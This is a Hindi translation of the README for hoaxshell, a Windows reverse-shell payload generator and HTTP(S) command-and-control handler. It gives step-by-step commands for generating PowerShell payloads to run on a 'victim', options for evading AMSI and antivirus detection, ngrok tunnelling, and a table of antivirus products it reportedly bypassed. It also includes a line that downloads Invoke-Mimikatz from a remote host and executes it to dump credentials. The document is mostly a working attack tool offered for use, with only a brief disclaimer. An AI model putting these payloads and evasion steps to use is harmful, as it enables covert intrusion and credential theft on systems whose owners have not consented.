
एक विंडोज रिवर्स शेल पेलोड जनरेटर और हैंडलर जो बीकन-जैसी रिवर्स शेल स्थापित करने के लिए http(s) प्रोटोकॉल का दुरुपयोग करता है।
⚠️ 2022-10-18 से, hoaxshell AMSI द्वारा पहचाना जाता है (malware-encyclopedia)। आपको इसका उपयोग करने के लिए जनरेटेड पेलोड को अस्पष्ट (obfuscate) करना होगा। मैन्युअल रूप से अस्पष्ट करने और MS डिफेंडर को बायपास करने का यह वीडियो देखें:
hoaxshell एक Windows रिवर्स शेल पेलोड जनरेटर और हैंडलर है जो http(s) प्रोटोकॉल का दुरुपयोग करके एक बीकन-जैसी रिवर्स शेल स्थापित करता है, निम्नलिखित अवधारणा पर आधारित:

यह c2 अवधारणा (जिसे http के अलावा अन्य प्रोटोकॉल या पूर्व-स्थापित exe का उपयोग करके कार्यान्वित किया जा सकता है) का उपयोग ऐसे सत्र स्थापित करने के लिए किया जा सकता है जो शेल होने का भ्रम पैदा करते हैं, लेकिन वास्तविक pty से बहुत दूर हैं।
HoaxShell ने AV सॉफ्टवेयर के खिलाफ अच्छा प्रदर्शन किया (अधिक जानकारी के लिए AV बायपास PoCs तालिका देखें)। हालांकि अब इसका सामान्य रूप से पता लगाया जाता है, लेकिन स्वचालित उपकरणों या मैन्युअल रूप से जनरेटेड पेलोड को अस्पष्ट करना आसान है।
अस्वीकरण: पूरी तरह से परीक्षण और शैक्षिक उद्देश्यों के लिए बनाया गया है। इस उपकरण द्वारा उत्पन्न पेलोड को उन होस्ट के खिलाफ न चलाएं जिनके पास आपके पास परीक्षण करने की स्पष्ट अनुमति और प्राधिकरण नहीं है। आप इस उपकरण का उपयोग करने से होने वाली किसी भी परेशानी के लिए जिम्मेदार हैं।
[2022-10-11] हालिया और शानदार, John Hammond द्वारा बनाया गया -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] मूल रिलीज डेमो, मेरे द्वारा बनाया गया -> youtube.com/watch?v=SEufgD5UxdU

अधिक स्क्रीनशॉट यहां खोजें।
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
महत्वपूर्ण: पहचान से बचने के साधन के रूप में, hoaxshell हर बार स्क्रिप्ट शुरू होने पर सत्र आईडी, URL पथ और प्रक्रिया में उपयोग किए जाने वाले एक कस्टम http हेडर के नाम के लिए स्वचालित रूप से यादृच्छिक मान उत्पन्न करता है। उत्पन्न पेलोड केवल उस इंस्टेंस के लिए काम करेगा जिसके लिए इसे उत्पन्न किया गया था। इस व्यवहार को बायपास करने और एक सक्रिय सत्र को पुनः स्थापित करने या hoaxshell के नए इंस्टेंस के साथ पिछले उत्पन्न पेलोड का पुन: उपयोग करने के लिए -g विकल्प का उपयोग करें।
जब आप hoaxshell चलाते हैं, तो यह आपके लिए अपना स्वयं का PowerShell पेलोड उत्पन्न करेगा जिसे आप पीड़ित पर कॉपी और इंजेक्ट कर सकते हैं। डिफ़ॉल्ट रूप से, सुविधा के लिए पेलोड base64 एन्कोडेड है। यदि आपको कच्चा पेलोड चाहिए, तो "rawpayload" प्रॉम्प्ट कमांड निष्पादित करें या hoaxshell को -r आर्गुमेंट के साथ शुरू करें। पीड़ित पर पेलोड निष्पादित होने के बाद, आप उसके खिलाफ PowerShell कमांड चला सकेंगे।
Invoke-Expression का उपयोग करता है (डिफ़ॉल्ट)sudo python3 hoaxshell.py -s <your_ip>
पीड़ित मशीन पर बनाए जाने वाले .ps1 फ़ाइल नाम (पूर्ण पथ) प्रदान करने के लिए -x का उपयोग करें। निष्पादित करने से पहले आपको कच्चे पेलोड की जांच करनी चाहिए, सुनिश्चित करें कि आपके द्वारा प्रदान किया गया पथ ठोस है।
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell शेल सत्र जानकारी स्थानांतरित करने के लिए एक http हेडर का उपयोग करता है। डिफ़ॉल्ट रूप से, हेडर को एक यादृच्छिक नाम दिया जाता है जिसे regex-आधारित AV नियमों द्वारा पहचाना जा सकता है। पहचान से बचने के लिए एक मानक या कस्टम http हेडर नाम प्रदान करने के लिए -H का उपयोग करें।
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
यह विशेष पेलोड एक तरह का रेड फ्लैग है, क्योंकि यह कोड के एक अतिरिक्त ब्लॉक से शुरू होता है जो PowerShell को SSL प्रमाणपत्र जांच को छोड़ने का निर्देश देता है, जो इसे संदिग्ध और पहचानने में आसान बनाता है और साथ ही लंबाई में काफी लंबा है। अनुशंसित नहीं।
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>
यदि आपके पास एक डोमेन है, तो एक विश्वसनीय प्रमाणपत्र (-c cert.pem -k privkey.pem) के साथ -s के साथ अपना DN प्रदान करके एक छोटा और कम पहचाने जाने योग्य https पेलोड उत्पन्न करने के लिए इस विकल्प का उपयोग करें।
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>
यदि आप गलती से अपना टर्मिनल बंद कर देते हैं, बिजली की कटौती या कुछ और हो जाता है, तो आप hoaxshell को ग्रैब सत्र मोड में शुरू कर सकते हैं, यह एक सत्र को पुनः स्थापित करने का प्रयास करेगा, बशर्ते कि पेलोड अभी भी पीड़ित मशीन पर चल रहा हो।
sudo python3 hoaxshell.py -s <your_ip> -g
महत्वपूर्ण: सुनिश्चित करें कि आप hoaxshell को उसी सेटिंग्स के साथ शुरू करें जैसे आप पुनर्स्थापित करने का प्रयास कर रहे सत्र (http/https, पोर्ट, आदि)।
पेलोड विविधताओं में से किसी का भी -cm (--constraint-mode) विकल्प के साथ उपयोग करें ताकि एक पेलोड उत्पन्न हो जो काम करता है भले ही पीड़ित PS को कंस्ट्रेंट लैंग्वेज मोड में चलाने के लिए कॉन्फ़िगर किया गया हो। इस विकल्प का उपयोग करके, आप अपने रिवर्स शेल के stdout डिकोडिंग सटीकता का थोड़ा त्याग करते हैं।
sudo python3 hoaxshell.py -s <your_ip> -cm

सुरक्षित टनल के माध्यम से सत्र प्राप्त करने के लिए टनलिंग प्रोग्राम Ngrok या LocalTunnel का उपयोग करें, जो स्टैटिक IP पता न होने या आपके ISP द्वारा पोर्ट-फ़ॉरवर्डिंग प्रतिबंधित करने जैसी समस्याओं को दूर करता है।
Ngrok सर्वर के लिए -ng या --ngrok का उपयोग करें
sudo python3 hoaxshell.py -ng
LocalTunnel सर्वर के लिए -lt या --localtunnel का उपयोग करें
sudo python3 hoaxshell.py -lt
यदि आप एक ऐसा कमांड निष्पादित करते हैं जो एक इंटरैक्टिव सत्र शुरू करता है तो शेल हैंग हो जाएगा। उदाहरण:
# this command will execute succesfully and you will have no problem:
> powershell echo 'This is a test'
# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell
# In the same manner, you won't have a problem executing this:
> cmd /c dir /a
# But this will cause your hoaxshell to hang:
> cmd.exe
इसलिए, यदि आप उदाहरण के लिए hoaxshell के माध्यम से mimikatz चलाना चाहते हैं तो आपको कमांड को लागू करने की आवश्यकता होगी:
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
लंबी कहानी को छोटा करते हुए, आपको सावधान रहना होगा कि hoaxshell powershell संदर्भ में एक इंटरैक्टिव सत्र शुरू करने वाला exe या cmd न चलाएं।
कुछ शानदार लोगों ने मुझे MS डिफेंडर के अलावा अन्य AV समाधान चलाने वाले सिस्टम पर hoaxshell के पेलोड निष्पादित करने के PoC वीडियो भेजने/प्रकाशित करने की कृपा की, बिना पकड़े गए। नीचे लिंक के साथ एक संदर्भ तालिका है:
महत्वपूर्ण: मुझे नहीं पता कि आप अभी भी इन समाधानों को बायपास करने के लिए hoaxshell का प्रभावी ढंग से उपयोग कर सकते हैं। यह मान लेना उचित है कि पता लगाने की क्षमता जल्द ही बदल जाएगी (यदि पहले से नही बदली है)।
13/10/2022 - बाधा भाषा मोड समर्थन (-cm) विकल्प जोड़ा गया।08/10/2022 - -ng और -lt विकल्प जोड़े गए जो स्टैटिक IP पतों और पोर्ट-फ़ॉरवर्डिंग जैसी सीमाओं से बचने के लिए टनलिंग टूल ngrok या localtunnel का उपयोग करके सत्र प्राप्त करने के लिए PS पेलोड उत्पन्न करते हैं।06/09/2022 - एक नया पेलोड जोड़ा गया जो Invoke-Expression का उपयोग करने के बजाय निष्पादित किए जाने वाले कमांड को एक फ़ाइल में लिखता है। इसका उपयोग करने के लिए, उपयोगकर्ता को -x विकल्प का उपयोग करके पीड़ित मशीन पर एक .ps1 फ़ाइल नाम (पूर्ण पथ) प्रदान करना होगा।04/09/2022 - कमांड डिलीवरी तंत्र को बेहतर बनाने के लिए संशोधन किए गए क्योंकि इसमें ऐसे घटक शामिल थे जिन्हें आसानी से फ़्लैग किया जा सकता था। -t विकल्प के साथ https_payload_trusted.ps1 जोड़ा गया। अब आप एक विश्वसनीय प्रमाणपत्र के साथ एक डोमेन नाम प्रदान करके hoaxshell का उपयोग कर सकते हैं। यह एक छोटा और कम पहचाने जाने योग्य https पेलोड उत्पन्न करेगा।01/09/2022 - विकल्प जोड़ा गया जो उपयोगकर्ताओं को हमले की प्रक्रिया में उपयोग किए जाने वाले (डिफ़ॉल्ट रूप से यादृच्छिक) हेडर को एक कस्टम नाम देने की अनुमति देता है, जो शेल के सत्र आईडी को ले जाता है। यह हमले को कम पहचानने योग्य बनाता है, उदाहरण के लिए एक मानक हेडर नाम जैसे "Authorization" का उपयोग करके।| AV समाधान | तारीख | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31/08/2022 - -i विकल्प जोड़ा गया जो "Invoke-WebRequest' के बजाय "Invoke-RestMethod" उपयोगिता का उपयोग करने के लिए समायोजित PS पेलोड उत्पन्न करता है, इसलिए अब उपयोगकर्ता चुन सकता है (इस समस्या के लिए धन्यवाद)। मैंने प्रॉम्प्ट में मौजूद एक बग को भी ठीक किया (यह कभी-कभी पथ को गड़बड़ कर देता था)।